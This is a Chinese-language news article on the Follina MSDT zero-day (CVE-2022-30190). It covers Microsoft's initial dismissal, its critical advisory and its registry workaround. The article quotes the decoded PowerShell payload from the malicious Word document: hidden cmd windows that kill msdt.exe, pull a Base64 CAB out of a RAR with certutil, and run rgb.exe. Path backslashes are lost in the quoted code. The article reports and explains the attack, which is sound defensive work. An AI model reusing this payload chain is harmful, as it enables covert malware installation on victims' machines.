安全專家近日發現了高危的代碼執行零日漏洞,目前所有支持的 Windows 系統均受影響。已經有相關證據表明至少在 7 周前就有黑客利用該漏洞,在不觸發 Windows Defender 以及其他終端保護產品的情況下,在受害者設備上安裝惡意程序。
Shadow Chaser Group 的研究人員在 Twitter 上表示,這個存在於 Microsoft Support Diagnostic Tool 中的漏洞已經於 4 月 12 日報告給微軟,並已經證明該漏洞已經被黑客利用進行攻擊。
不過給該研究人員的回復中,微軟安全響應中心團隊並未將報告的行為視為安全漏洞,因為據推測,MSDT 診斷工具在執行有效負載之前需要密碼。
不過本周一,微軟改變了口風,將該漏洞標識為 CVE-2022-30190,並將其描述為“關鍵”(critical)漏洞。
在公告中寫道:“當從 Word 等調用應用程序使用 URL 協議調用 MSDT 時,存在遠程代碼執行漏洞。成功利用此漏洞的攻擊者可以使用調用應用程序的權限運行任意代碼。然後攻擊者可以安裝程序、查看、更改或刪除數據,或者在用戶權限允許的上下文中創建新帳戶”。
在本文發表時,微軟尚未發布補丁。相反,它建議客戶通過以下方式禁用 MSDT URL 協議:
1. 以管理員身份運行命令提示符。
2. 要備份註冊表項,請執行命令“reg export HKEY_CLASSES_ROOTms-msdt filename”
3. 執行命令“reg delete HKEY_CLASSES_ROOTms-msdt /f”
雖然最初被微軟遺漏了,但當研究人員發現周五上傳到 VirusTotal 的 Word 文檔利用了以前未知的攻擊媒介時,該漏洞再次被發現。
根據研究員 Kevin Beaumont 的分析,該文檔使用 Word 從遠程 Web 服務器檢索 HTML 文件。然後,該文檔使用 MSProtocol URI 方案來加載和執行 PowerShell 命令。
雖然在理論上這不太可能實現,但事實上確實是可以的。當文檔中的命令被解碼時,它們會轉換為:
$cmd =”c:Windowssystem32cmd.exe”;
Start-Process $cmd -windowstyle hidden -ArgumentList”/c taskkill /f /im msdt.exe”;
Start-Process $cmd -windowstyle hidden -ArgumentList”/c cd C:userspublic&&for /r
%temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe”;
根據 Huntress 的解釋,該腳本實現的操作為
在隱藏窗口運行以下操作
1. 如果 msdt.exe 正在運行,則終止它
2. 循環遍歷 RAR 文件中的文件,查找編碼 CAB 文件的 Base64 字符串
3. 將此 Base64 編碼的 CAB 文件存儲為 1.t
4. 解碼Base64編碼的CAB文件保存為1.c
5. 將1.c CAB文件展開到當前目錄,最後:
6. 執行rgb.exe(大概壓縮在1.c CAB文件裡面)